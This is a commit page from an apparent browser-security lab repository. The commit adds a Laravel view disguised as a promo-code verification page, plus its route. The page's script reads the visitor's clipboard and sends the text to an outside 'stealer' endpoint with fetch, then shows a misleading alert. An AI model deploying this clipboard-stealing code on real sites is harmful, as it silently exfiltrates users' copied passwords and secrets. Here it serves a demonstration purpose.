mcoder_rezvan2/browser-sec-lab
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Add

Browse Source
This commit is contained in:
mcoder 2026-04-16 11:52:44 +03:30
parent 6dc37ae6c3
commit 7742ea3e4b
3 changed files with 65 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

56
resources/views/hacker/clipboard.blade.php Normal file
View File

@ -0,0 +1,56 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Promo Code Verification</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-gray-50 text-gray-800 flex items-center justify-center h-screen">
<div class="max-w-md w-full bg-white p-8 rounded-xl shadow-lg text-center">
<h1 class="text-2xl font-bold text-gray-800 mb-2">Exclusive Promo Offer</h1>
<p class="text-gray-600 mb-6">Verify your promo code to get up to 50% off on your next purchase.</p>
<button id="verifyBtn" class="w-full bg-blue-600 hover:bg-blue-700 text-white font-semibold py-3 px-4 rounded transition duration-200 ease-in-out">
Verify Promo Code
</button>
<div class="mt-8 text-left p-4 bg-gray-100 border-l-4 border-red-500 rounded text-xs text-gray-700">
<strong>Lab Observation:</strong> Open DevTools (F12) to monitor the console.<br>
- <strong>Attempt 1:</strong> Zero-click read attempt on load.<br>
- <strong>Attempt 2:</strong> User-gesture read attempt on button click.
</div>
</div>
<script>
// Attempt 1: Zero-Click Test on window.onload
window.onload = async () => {
console.log('[Lab] Attempt 1: Trying to read clipboard without user activation...');
try {
const text = await navigator.clipboard.readText();
console.warn('[Lab] WARNING: Browser allowed clipboard read without user interaction! Data:', text);
} catch (error) {
console.error('[Lab] SUCCESS: Browser blocked zero-click clipboard read. Error:', error.message);
}
};
// Attempt 2: User-Gesture Hijacking
document.getElementById('verifyBtn').addEventListener('click', async () => {
console.log('[Lab] Attempt 2: Trying to read clipboard with user click gesture...');
try {
const text = await navigator.clipboard.readText();
console.warn('[Lab] VULNERABILITY: Successfully read clipboard data during user click! Data:', text);
// Silently send stolen text to stealer
fetch('http://hackerapp.eitebar.ir/stealer?data=CLIPBOARD_STOLEN:' + encodeURIComponent(text), { mode: 'no-cors' });
console.log('[Lab] Stolen data sent to stealer endpoint.');
alert('Promo code verified (or clipboard hijacked)!');
} catch (error) {
console.error('[Lab] Browser blocked clipboard read even with user gesture (or permission denied). Error:', error.message);
alert('Failed to verify promo code. Please allow clipboard access if prompted.');
}
});
</script>
</body>
</html>

7
routes/web.php
View File

@ -32,7 +32,7 @@
return view('hacker.clickjacking'); return view('hacker.clickjacking');
})->name('hacker.clickjacking'); })->name('hacker.clickjacking');
// Drive-by Download: Fake Malware Payload // Drive-by Download Payload
Route::get('/payload.exe', function () { Route::get('/payload.exe', function () {
$content = "This is a harmless dummy payload simulating malware for the Browser Security Lab."; $content = "This is a harmless dummy payload simulating malware for the Browser Security Lab.";
return response($content, 200, [ return response($content, 200, [
@ -46,6 +46,11 @@
return view('hacker.drive-by'); return view('hacker.drive-by');
})->name('hacker.driveby'); })->name('hacker.driveby');
// Clipboard Abuse Exploit Page
Route::get('/clipboard', function () {
return view('hacker.clipboard');
})->name('hacker.clipboard');
}); });
/* /*